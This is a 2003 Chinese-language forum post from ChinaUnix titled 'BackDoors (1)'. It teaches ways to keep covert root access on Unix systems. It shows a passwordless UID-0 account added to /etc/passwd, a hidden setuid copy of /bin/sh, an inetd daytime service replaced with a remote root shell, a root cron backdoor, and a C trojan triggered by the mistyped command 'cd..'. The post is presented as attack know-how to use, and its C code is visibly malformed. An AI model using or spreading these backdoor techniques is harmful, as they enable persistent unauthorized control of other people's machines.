免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 695 | 回复: 0
打印 上一主题 下一主题

Topic: BackDoors (1) [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2003-05-05 17:23 |只看该作者 |倒序浏览
BackDoor 的目的是为了维护访问权,同时是访问做的隐蔽。

-1-.
在口令文件 /etc/passwd 中增加一个UID为0的账号
nbody::0:0::/root:/bin/sh
或者口令文件中某个无人使用帐号的 UID 改为 0
可以将其口令域设为空

-2-.
# cp /bin/sh /tmp/.runme
# chmod 4755 /tmp/.runme

$ cd /tmp; ./.runme
#

-3-.
修改一个不常用的服务,用可以产生某种后门的守护进程代替原先的守护进程。
例如,让其添加 UID 0 的帐号,或复制一个 suid shell。
将用于提供日期时间的服务 daytime 替换为能够产生一个 suid root 的 shell。
将 /etc/inetd.conf 文件中的:
        daytime stream tcp nowait root internal
修改为:
        daytime stream tcp nowait /bin/sh sh -i.
然后重启inetd 进程:
        killall -9 inetd。

伪造网络服务,让它能够在更难以察觉的情况下提供后门,例如口令保护等。
如果能够在不通过 telnetd 连接的情况下轻松地进行远程访问,那是再好不过了。
方法就是将“自己的”守护程序绑定到某个端口。

-4-.
Cron 服务用于计划程序在特定时间(月、日、周、时、分)运行。通过 Cron 服务,让它在每天凌晨 3:00 运行后门程序,并在网管起来之前退出系统。
根用户的 crontab 文件放在 /var/spool/crontab/root 中,其格式如下:
(1) (2) (3) (4) (5) (6)
0 0 * * 3 /usr/bin/updatedb

1. 分钟 (0-60)
2. 小时 (0-23)
3. 日 (1-31)
4. 月 (1-12)
5. 星期 (1-7)
6. 所要运行的程序

以上内容设置该程序于每星期三 0:0 运行。
要在 cron 建立后门,只需在 /var/spool/crontab/root 中添加后门程序即可

-5-.
曾经试过在 UNIX 系统下错把 "cd .." 输入为 "cd.."
这种错误网管是否也会犯呢?
如果是这样的话,可不可以让他为我们做点“贡献”呢?
例如当他输入 "cd.." 时,会激活我们的木马程序。这样我们就不必登录到系统去激活木马了。以下是程序示例。

<++>; backdoor/dumb.c
/*
本程序可在管理员偶然地输入 cd.. 时向 /etc/passwd 文件添加一个 UID 0 帐号。但同时它也实现 cd .. 功能,从而骗过管理员。
*/

#include
#include

main()
{
FILE *fd;
fd=fopen("/etc/passwd","a+";
fprintf(fd,"hax0r::0:0::/root:/bin/sh\n";
system("cd";
}
<-->;

把上面的程序编译好,放到隐蔽的地方。最好使用 chown 命令将该程序的属主改为 root,使管理员使用 "ls -alF" 命令看到 suid 程序时不至于怀疑。

好了,将这个程序(假设其名为 fid)放好以后,下一步的工作就是建立该程序到 "cd.." 的链接:ln cd.. /bin/out。这样,只要系统管理员犯了这个输入错误,你就可以又一次得到系统控制权了。


to be continued
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP